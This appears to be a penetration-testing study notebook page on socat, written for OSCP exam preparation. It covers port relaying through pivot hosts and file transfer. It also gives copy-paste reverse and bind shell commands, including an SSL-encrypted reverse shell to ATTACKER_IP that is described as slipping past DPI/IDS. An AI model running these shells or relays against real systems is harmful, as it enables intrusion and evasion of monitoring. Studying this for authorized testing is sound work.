Pearson's OSCP Notebook

Socat

Properties1
tagssocat, port-forwarding, relay, tunneling, pivoting, ssl, reverse-shell, windows

4 min read

Socat — Complete Reference

Ctrl+F: socat · TCP4-LISTEN · fork · port relay · pty · OPENSSL

What Is Socat?

Socat is a bidirectional data relay tool — it connects two data streams together. Think of it as a more powerful Netcat that supports SSL, forking, IPv6, and can work on both Linux and Windows.

OSCP use: Excellent for port relaying on pivot hosts (forward a port from the pivot to an internal target). Also great for SSL reverse shells and upgrading plain shells.

Installation

# Linux / Kali
sudo apt install -y socat

Verify: socat -h

Full install index → Installation - Kali Setup > 📌 Remote access & pivoting

# Transfer to target (if not installed)
# Linux
wget http://KALI_IP:8080/socat -O /tmp/socat && chmod +x /tmp/socat
 
# Windows — download precompiled binary
# https://github.com/StudioEtrange/socat-windows/releases
# socat.exe + all DLLs must be in same folder

📌 1) Port Forwarding / Relay

Use case: Pivot host relays traffic from its port to an internal host’s port. You connect to the pivot, it forwards to the internal target.

[Kali] → [Pivot:PORT] → [Internal:PORT]

# On the PIVOT — relay from pivot:8080 to internal host
socat TCP4-LISTEN:8080,fork TCP4:172.16.0.5:80
 
# Now on Kali, connect to the pivot's port instead of the internal host
curl http://PIVOT_IP:8080
 
# Relay RDP from pivot to internal Windows host
socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389
xfreerdp3 /u:admin /p:password /v:PIVOT_IP
 
# Relay MySQL
socat TCP4-LISTEN:3306,fork TCP4:172.16.0.10:3306
mysql -h PIVOT_IP -u root -p
 
# Relay any port — just change the numbers
socat TCP4-LISTEN:LOCAL_PORT,fork TCP4:REMOTE_HOST:REMOTE_PORT

Key option: fork — allows multiple concurrent connections (without it, socat exits after the first connection).

📌 2) Windows Port Relay (socat.exe on Windows Pivot)

REM On Windows pivot — relay from pivot:445 to internal SMB
socat.exe TCP4-LISTEN:445,fork TCP4:172.16.0.10:445
 
REM From Kali
smbclient //PIVOT_IP/Share -U admin
crackmapexec smb PIVOT_IP -u admin -p password
 
REM Relay WinRM (5985)
socat.exe TCP4-LISTEN:5985,fork TCP4:172.16.0.10:5985
evil-winrm -i PIVOT_IP -u admin -p password

📌 3) Reverse Shells

Socat can send and receive shells like Netcat, but with richer features.

Basic Reverse Shell (Linux)

Attacker (listener):

socat TCP4-LISTEN:4444,fork STDOUT
# or simply (same as nc -lvnp)
socat TCP4-LISTEN:4444 STDOUT

Target:

socat TCP4:ATTACKER_IP:4444 EXEC:/bin/bash

Fully Interactive PTY Reverse Shell (Linux)

This gives you a full interactive terminal — arrow keys, tab completion, Ctrl+C all work.

Attacker (listener):

socat file:`tty`,raw,echo=0 TCP4-LISTEN:4444

Target:

socat TCP4:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

This is the best way to get a fully interactive shell without upgrading with Python PTY.

📌 4) SSL Encrypted Reverse Shell

Encrypts the shell traffic — bypasses some DPI/IDS systems that detect plaintext shell traffic.

Generate Certificates on Kali

# Create self-signed cert
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
 
# Or quick one-liner
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=localhost"
cat key.pem cert.pem > server.pem

SSL Shell

Attacker (listener):

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork STDOUT

Target (Linux):

socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid

Target (Windows):

socat.exe OPENSSL:ATTACKER_IP:443,verify=0 EXEC:cmd.exe,pipes

📌 5) Bind Shells

Target (listener):

socat TCP4-LISTEN:4444,fork EXEC:/bin/bash

Attacker (connect):

socat TCP4:TARGET_IP:4444 STDIN

📌 6) File Transfer

# Listener (receiver)
socat TCP4-LISTEN:9999,fork > received_file.bin
 
# Sender
socat TCP4:RECEIVER_IP:9999 FILE:file_to_send.bin,rdonly

📌 7) UDP Relay

# Forward UDP traffic (useful for SNMP, DNS, etc.)
socat UDP4-LISTEN:161,fork UDP4:172.16.0.10:161

📌 8) Socat as a Relay Between Two Hosts (Double Relay)

Chain socat to bridge two isolated networks:

[Kali] → [Pivot A] → [Pivot B] → [Target]

# On Pivot A — relay to Pivot B
socat TCP4-LISTEN:8080,fork TCP4:PIVOT_B_IP:8080
 
# On Pivot B — relay to Target
socat TCP4-LISTEN:8080,fork TCP4:TARGET_IP:80

📌 Flags & Options Reference

OptionDescription
TCP4-LISTEN:PORTListen on a TCP port (IPv4)
TCP4:HOST:PORTConnect to a TCP host:port (IPv4)
UDP4-LISTEN:PORTListen on a UDP port
EXEC:/bin/bashExecute a program
forkHandle multiple connections concurrently
reuseaddrReuse address (restart quickly without waiting)
OPENSSL-LISTEN:PORTSSL/TLS listening socket
OPENSSL:HOST:PORTSSL/TLS connect
cert=file.pemCertificate file for SSL
verify=0Skip SSL certificate verification
ptyAllocate a pseudo-terminal
stderrRedirect stderr to stdout
setsidCreate new session (job control)
sigintPass SIGINT (Ctrl+C) to process
saneApply sane terminal settings
echo=0Disable echo (for raw terminal mode)
rawRaw terminal mode

📌 Quick Cheat Sheet (Copy/Paste)

# Port relay on pivot (most common OSCP use)
socat TCP4-LISTEN:8080,fork TCP4:172.16.0.5:80
 
# Full interactive PTY reverse shell
# Attacker:
socat file:`tty`,raw,echo=0 TCP4-LISTEN:4444
# Target:
socat TCP4:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
 
# Basic relay (Windows pivot)
socat.exe TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389
 
# SSL encrypted reverse shell
# Attacker:
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork STDOUT
# Target:
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid
 
# File transfer
# Receiver: socat TCP4-LISTEN:9999,fork > file.bin
# Sender:   socat TCP4:IP:9999 FILE:file.bin,rdonly

Graph View

Backlinks